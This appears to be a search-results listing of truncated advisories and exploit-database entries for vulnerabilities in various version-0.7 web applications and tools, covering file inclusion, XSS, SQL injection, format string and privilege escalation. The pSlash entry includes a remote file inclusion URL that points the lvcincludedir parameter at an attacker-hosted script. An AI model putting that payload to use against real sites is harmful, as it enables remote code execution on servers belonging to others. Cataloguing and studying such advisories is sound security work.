CVE-2006-5555

PHP remote file inclusion vulnerability in constantes.inc.php in EPNadmin 0.7 and 0.7.1 allows remote attackers to execute arbitrary PHP code via the langage parameter...

EPNadmin remote Command Execution Vulnerabilities

!/usr/bin/perl EPNadmin remote Command Execution Vulnerabilities Risk : High Remote Code Execution Url: http://epnadmin.pierrefitte93.fr Version : 0.7 coded and f0und3d by Kw3RLn ciriboflacsATYaHOo.com Romanian Security Team .: hTTp://RST-CREW.NET :. Shoutz to Oo, str0ke, th0r and all members of...

EPNadmin 0.7 - constantes.inc.php Remote File Inclusion

EPNadmin 0.7 - constantes.inc.php Remote File Inclusion !/usr/bin/perl EPNadmin remote Command Execution Vulnerabilities Risk : High Remote Code Execution Url: http://epnadmin.pierrefitte93.fr Version : 0.7 coded and f0und3d by Kw3RLn Romanian Security Team .: hTTp://RST-CREW.NET :. Shoutz to Oo,...

CVE-2006-5120

CVE-2006-5120 affects Scott Metoyer Red Mombin 0.7. The vulnerabilities are cross-site scripting (XSS) in two vectors related to index.php and process_login.php, enabling remote attackers to inject arbitrary web script or HTML. The NVD entry lists a CVSSv2 base score of 4.0 (Medium) with Network ...

CVE-2006-5120

Multiple cross-site scripting XSS vulnerabilities in Scott Metoyer Red Mombin 0.7 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors related to 1 index.php and 2 processlogin.php...

Red Mombin 0.7 - index.php Cross-Site Scripting

Red Mombin 0.7 - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20243/info Red Mombin is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script...

Red Mombin 0.7 - 'index.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20243/info Red Mombin is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting us...

pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================== pSlash 0.7 lvcincludedir Remote File Include Vulnerability ============================================================== pSlash v0.7 lvcincludedir Remote Include Vulnerability...

pSlash 0.7 (lvc_include_dir) Remote File Include Vulnerability

No description provided by source. pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit:...

pSlash 0.7 - 'lvc_include_dir' Remote File Inclusion

pSlash v0.7 lvcincludedir Remote Include Vulnerability Author: XORON Class: Remote cont@ct: x0r0nathotmaildotcom Code: require$lvcincludedir.'db/dbmysql.inc.php'; Exploit: http://www.site.com/path/modules/visitors2/include/config.inc.php?lvcincludedir=http://evilscripts? Greetz: str0ke, Ironfist,...

CVE-2006-3165

SQL injection vulnerability in propview.php in Free Realty 2.9-0.7 and earlier allows remote attackers to execute arbitrary SQL commands via the sort parameter...

SiteX07.txt

I MurderSkillz from g00ns.net have found xss and possible SQL injection vulnerabilities in SiteX 0.7 and possibly other versions. Shouts to z3r0, neX, uid0 exploitercode.com, Zodiac, Wicked, and all the other I may have forgot.. Once again..g00ns.net fucking owns j00! SQL injection albums.php...

CVE-2006-1403

Format string vulnerability in the PrintString function in cconsole.cpp in client/server Doom csDoom 0.7 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary commands via format string specifiers in strings passed to the console...

Format string

Format string vulnerability in the PrintString function in cconsole.cpp in client/server Doom csDoom 0.7 and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary commands via format string specifiers in strings passed to the console...

Code injection

Unspecified vulnerability in rshd in Heimdal 0.6.x before 0.6.6 and 0.7.x before 0.7.2, when storing forwarded credentials, allows attackers to overwrite arbitrary files and change file ownership via unknown vectors...

Eterm LibAST 0.7 - -X Option Privilege Escalation

Eterm LibAST 0.7 - -X Option Privilege Escalation // eterm by default isn't setuid but there is a lot of instances where // it needs setuid root/utmp to run different options. /str0ke / Copyright ©Rosiello Security 2006 URL: http://www.rosiello.org Author: Johnny Mast e-mail: [email protected] Th...

DEBIAN-CVE-2005-4713

Unspecified vulnerability in the SQL logging facility in PAM-MySQL 0.6.x before 0.6.2 and 0.7.x before 0.7pre3 allows remote attackers to cause a denial of service segmentation fault via unspecified vectors, probably involving the pammysqlsqllog function when being used in vsftpd, which does not...

CVE-2005-4224

Multiple "potential" SQL injection vulnerabilities in e107 0.7 might allow remote attackers to execute arbitrary SQL commands via 1 the email, hideemail, image, realname, signature, timezone, and xupexist parameters in signup.php, 2 the contentcomment, contentrating, and contentsummary parameters...

CVE-2004-2516

Directory traversal vulnerability in myServer 0.7 allows remote attackers to list arbitrary directories via an HTTP GET command with a large number of "./" sequences followed by "../" sequences...

CVE-2004-2263

CVE-2004-2263 describes a SQL injection vulnerability in the valid function of the PlaySMS project (fr_left.php) up to version 0.7, exploitable by tampering with the vc2 cookie to modify SQL statements. The CVSS base score is 7.5 (HIGH) with network access, low attack complexity, and no authentic...